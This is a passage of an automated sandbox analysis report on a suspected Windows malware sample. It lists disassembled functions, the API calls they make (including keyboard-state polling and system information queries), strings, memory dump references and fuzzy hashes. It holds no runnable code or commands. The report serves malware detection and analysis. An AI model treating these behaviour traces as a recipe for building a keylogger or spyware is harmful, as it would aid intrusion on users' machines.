                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FileNameSystemTimelstrcpy$GlobalInfoMemoryModuleStatusUser
                                                                                                                            • String ID: $%d MBytes physical memory.$%d processor(s), type %d.$%s, run by %s.$Unknown$Unknown
                                                                                                                            • API String ID: 1433289228-2213595360
                                                                                                                            • Opcode ID: 4ed691871c6dbd233052c8323ad3d891706958fa84eab8c4d0e065a22fb14961
                                                                                                                            • Instruction ID: 1323b027655143b162177cf28437671627035bd26a913f59ae49b9e3b36e873f
                                                                                                                            • Opcode Fuzzy Hash: 4ed691871c6dbd233052c8323ad3d891706958fa84eab8c4d0e065a22fb14961
                                                                                                                            • Instruction Fuzzy Hash: 6B21E77590020CABCB44DFE0DC49FEE737CAB48705F00459DF509A7152EA78DA488F58
                                                                                                                            Function 00457B5D Relevance: 16.6, Strings: 13, Instructions: 355COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: >JM3$L$L$W$a$a$b$d$i$o$r$r$y
                                                                                                                            • API String ID: 0-2397989635
                                                                                                                            • Opcode ID: 0b5ef95cd15fcec5164d929ab70b7e5964ce58515383725a9fa77d747354c27a
                                                                                                                            • Instruction ID: b565a827c0f262a84e3df302cf029571b76f9c8b82612f10fe196a13449015a0
                                                                                                                            • Opcode Fuzzy Hash: 0b5ef95cd15fcec5164d929ab70b7e5964ce58515383725a9fa77d747354c27a
                                                                                                                            • Instruction Fuzzy Hash: 7FD136A2D142689AF7208B25DC847EB7779EF91710F0440FAD84CA7281E67D4FC6CB66
                                                                                                                            Function 00457AD4 Relevance: 16.5, Strings: 13, Instructions: 204COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: >JM3$L$L$W$a$a$b$d$i$o$r$r$y
                                                                                                                            • API String ID: 0-2397989635
                                                                                                                            • Opcode ID: 36d44682dd8ed8133f379ac4fbe051d2b2a787141922a894d6eb8d6ef7718f23
                                                                                                                            • Instruction ID: 5131de6aad35f9998977232a97a35aabdf7e7c1733910a024f439323dbe3e68b
                                                                                                                            • Opcode Fuzzy Hash: 36d44682dd8ed8133f379ac4fbe051d2b2a787141922a894d6eb8d6ef7718f23
                                                                                                                            • Instruction Fuzzy Hash: 027129A2D082549EF7218624DC447EBB679EF51310F1500FED84CA7282DA7E5FC9CB26
                                                                                                                            Function 00457A9C Relevance: 16.4, Strings: 13, Instructions: 170COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: >JM3$L$L$W$a$a$b$d$i$o$r$r$y
                                                                                                                            • API String ID: 0-2397989635
                                                                                                                            • Opcode ID: 4a0369773fc0df6b514c53e7cb8b19e8d9e943ede7e461c89c1b65a02b10e4ce
                                                                                                                            • Instruction ID: 459648606d1b8776e8cc07c0b8629968963722daa221ff6c72aa25d02ae3f364
                                                                                                                            • Opcode Fuzzy Hash: 4a0369773fc0df6b514c53e7cb8b19e8d9e943ede7e461c89c1b65a02b10e4ce
                                                                                                                            • Instruction Fuzzy Hash: 2D614AA2D086649AF7218624DC447DB7A39EF51310F0400FED94CA7282DABE4FC9CB26
                                                                                                                            Function 00411810 Relevance: 12.1, APIs: 8, Instructions: 90keyboardCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetAsyncKeyState.USER32(00000011), ref: 0041183F
                                                                                                                            • CallWindowProcA.USER32(00000000,?,?,?,?), ref: 0041193D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AsyncCallProcStateWindow
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 4126171785-0
                                                                                                                            • Opcode ID: 9999cd5daf67d3ca102819d3f0d68b1495df25c23dddc2979e42dd8acd527b9b
                                                                                                                            • Instruction ID: 7432ea2984d698679705993177b1f05e6fa5cecc4cddcfedc69d7bc6332db596
                                                                                                                            • Opcode Fuzzy Hash: 9999cd5daf67d3ca102819d3f0d68b1495df25c23dddc2979e42dd8acd527b9b
                                                                                                                            • Instruction Fuzzy Hash: 24318674604308EBDB54EFA4DC85FD977B4AB49700F10856AF706AB2A1C7749980CF68
                                                                                                                            Function 00412630 Relevance: 9.1, APIs: 6, Instructions: 83windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • IsIconic.USER32(?), ref: 00412653
                                                                                                                              • Part of subcall function 004A723D: __EH_prolog.LIBCMT ref: 004A7242
                                                                                                                              • Part of subcall function 004A723D: BeginPaint.USER32(?,?,?,?,0049CA42), ref: 004A7270
                                                                                                                            • SendMessageA.USER32(?,00000027,?,00000000), ref: 004126A1
                                                                                                                            • GetSystemMetrics.USER32(0000000B), ref: 004126A9
                                                                                                                            • GetSystemMetrics.USER32(0000000C), ref: 004126B4
                                                                                                                            • GetClientRect.USER32(?,?), ref: 004126CB
                                                                                                                            • DrawIcon.USER32(?,?,?,?), ref: 0041271E
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: MetricsSystem$BeginClientDrawH_prologIconIconicMessagePaintRectSend
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3338691375-0
                                                                                                                            • Opcode ID: e7f495057b1e3752161f30e6cc312347f05df194d5b936f730ef53ac7e1c3505
                                                                                                                            • Instruction ID: ee067db6947b0a52d960848ca6558a6fe274652eab13745972a10f196bc1ccac
                                                                                                                            • Opcode Fuzzy Hash: e7f495057b1e3752161f30e6cc312347f05df194d5b936f730ef53ac7e1c3505
                                                                                                                            • Instruction Fuzzy Hash: A5314D75A00209DFDB24DFA9DD85FDEBBB4BF48300F1082A9E509E7291DA30A940CF64
                                                                                                                            Function 004A143E Relevance: 6.0, APIs: 4, Instructions: 42COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FindResourceA.KERNEL32(?,?,000000F0), ref: 004A1460
                                                                                                                            • LoadResource.KERNEL32(?,00000000,?,?,?,?,0049CE6C,?,?,004125A1), ref: 004A146C
                                                                                                                            • LockResource.KERNEL32(00000000,?,?,?,?,0049CE6C,?,?,004125A1), ref: 004A1479
                                                                                                                            • FreeResource.KERNEL32(00000000,00000000,?,?,?,?,0049CE6C,?,?,004125A1), ref: 004A1494
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Resource$FindFreeLoadLock
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1078018258-0
                                                                                                                            • Opcode ID: 04bc508bbb0a6c0b8ffd16d7c73bb5e27932c22b153834cc8b9c057cff73663f
                                                                                                                            • Instruction ID: 425bace81c03666c09764c4e48e81e934ac158f6e46df67dc4b163a6d636c2fe
                                                                                                                            • Opcode Fuzzy Hash: 04bc508bbb0a6c0b8ffd16d7c73bb5e27932c22b153834cc8b9c057cff73663f
                                                                                                                            • Instruction Fuzzy Hash: A5F096762013116F97115B6A5C44D7BB6ACAFEB762F05413AFD09D2232CE248C0186BD
                                                                                                                            Function 00412430 Relevance: 4.5, APIs: 3, Instructions: 47threadCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetThreadLocale.KERNEL32 ref: 00412447
                                                                                                                            • GetLocaleInfoA.KERNEL32(?,00001004,?,00000007), ref: 0041245F
                                                                                                                            • GetACP.KERNEL32 ref: 004124A3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
